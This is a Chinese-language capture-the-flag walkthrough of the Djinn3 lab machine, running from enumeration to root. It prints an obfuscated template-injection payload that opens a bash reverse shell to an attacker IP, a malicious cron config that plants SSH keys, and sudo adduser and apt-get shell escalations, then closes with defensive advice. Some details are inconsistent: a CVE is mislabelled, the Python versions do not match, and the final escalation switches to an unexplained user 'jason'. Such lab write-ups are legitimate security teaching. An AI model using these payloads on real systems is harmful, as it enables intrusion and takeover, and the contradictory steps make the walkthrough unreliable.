1. 靶机环境概述
Djinn3是一台基于Ubuntu 18.04的中级难度渗透测试靶机,运行在VirtualBox/VMware虚拟化环境中。这台靶机模拟了存在多个漏洞的真实Web应用环境,特别适合练习以下技能:
- 服务枚举与信息收集
- Web应用漏洞利用
- 特权提升技术
- 横向移动技巧
重要提示:所有操作仅限授权测试环境使用,实际渗透测试必须获得书面授权
2. 初始信息收集
2.1 网络探测与目标定位
在Kali Linux中,我们首先需要确定目标IP地址。推荐使用以下两种方法:
bash复制# 方法1:ARP扫描(快速发现本地活跃主机)
arp-scan -l --interface=eth0
# 方法2:Nmap Ping扫描(更全面但稍慢)
nmap -sn 192.168.5.0/24
典型输出示例:
code复制Nmap scan report for 192.168.5.13
Host is up (0.00013s latency).
MAC Address: 08:00:27:4B:6A:64 (Oracle VirtualBox virtual NIC)
2.2 端口与服务扫描
发现目标IP后,进行深度端口扫描:
bash复制nmap -sV -p- -T4 192.168.5.13
关键发现:
- 22/tcp: OpenSSH 7.6p1
- 80/tcp: lighttpd 1.4.45
- 5000/tcp: Werkzeug httpd 1.0.1 (Python 3.6.9)
- 31337/tcp: 自定义服务(疑似开发中的票务系统)
2.3 Web目录枚举
使用dirsearch进行目录爆破:
bash复制dirsearch -u http://192.168.5.13 -e php,html,js -t 50
值得注意的是,大部分目录返回403状态码,但/images目录存在301重定向。
3. 漏洞利用分析
3.1 5000端口服务分析
访问http://192.168.5.13:5000发现一个任务跟踪界面,显示存在默认用户guest。通过Werkzeug版本信息搜索公开漏洞:
bash复制searchsploit Werkzeug
发现关键漏洞:
- Werkzeug调试模式RCE(CVE-2014-3516)
- 路径遍历漏洞(CVE-2019-14806)
3.2 31337端口利用
通过netcat连接31337端口:
bash复制nc 192.168.5.13 31337
使用默认凭证guest/guest登录后,发现一个命令行交互式票务系统,支持以下命令:
- help:显示帮助菜单
- update:更新软件(高危操作)
- open:创建新工单
- close:关闭工单
- exit:退出系统
3.3 漏洞链构建
-
工单注入漏洞:
在创建工单时,发现系统未对输入进行过滤,可注入Python代码:python复制{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("whoami")|attr("read")()}} -
反弹Shell构造:
使用经过编码的bash反弹shell命令:python复制{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("/bin/bash -c 'bash -i >& /dev/tcp/192.168.5.11/4444 0>&1'")|attr("read")()}} -
监听设置:
在攻击机开启监听:bash复制
nc -lvnp 4444
4. 权限提升技术
4.1 初始立足点
获取www-data权限后,进行基础信息收集:
bash复制# 系统信息
uname -a
lsb_release -a
# 用户枚举
ls /home
find / -user saint 2>/dev/null
发现关键文件:
- /opt/.configuration.cpython-38.pyc
- /opt/.syncer.cpython-38.pyc
4.2 文件分析
通过Python HTTP服务器将文件传输到本地分析:
bash复制# 靶机操作
python3 -m http.server 8080
# 攻击机操作
wget http://192.168.5.13:8080/.configuration.cpython-38.pyc
wget http://192.168.5.13:8080/.syncer.cpython-38.pyc
反编译后发现关键逻辑:
- 系统会读取/tmp目录下的JSON配置文件
- 可通过URL下载文件并保存到指定位置
4.3 SSH密钥注入
-
生成密钥对:
bash复制ssh-keygen -t ed25519 cp ~/.ssh/id_ed25519.pub authorized_keys python -m http.server 80 -
创建恶意配置文件:
bash复制cat > /tmp/29-06-2020.config.json << 'EOF' { "URL": "http://192.168.5.11/authorized_keys", "Output": "/home/saint/.ssh/authorized_keys" } EOF -
等待cron执行(约1-3分钟)
-
SSH连接:
bash复制
ssh saint@192.168.5.13
4.4 特权提升
-
sudo权限检查:
bash复制sudo -l输出显示:
code复制User saint may run the following commands on djinn3: (root) NOPASSWD: /usr/sbin/adduser, !/usr/sbin/adduser * sudo, !/usr/sbin/adduser * admin -
创建特权用户:
bash复制sudo /usr/sbin/adduser --gid 0 rt -
APT提权:
发现jason用户可执行apt-get:bash复制sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
5. 防御建议
5.1 安全加固措施
-
服务配置:
- 禁用Werkzeug调试模式
- 限制敏感端口(如31337)的访问
- 及时更新软件版本
-
权限控制:
- 遵循最小权限原则
- 审计sudoers文件
- 禁用不必要的cron任务
-
输入验证:
- 对所有用户输入进行严格过滤
- 使用安全的模板引擎
5.2 监控建议
-
日志监控:
- 监控异常登录行为
- 审计特权命令执行
-
文件完整性检查:
- 监控敏感目录变更(如/root、/etc)
- 检查authorized_keys文件变更
6. 技术总结
本次渗透测试展示了从Web应用到系统层的完整攻击链,关键点包括:
- 通过默认凭证获取初始访问
- 利用模板注入实现RCE
- 通过配置漏洞实现权限提升
- 利用sudo配置弱点获取root权限
实际防御中,建议企业:
- 定期进行安全评估
- 建立完善的配置管理流程
- 对开发环境与生产环境严格隔离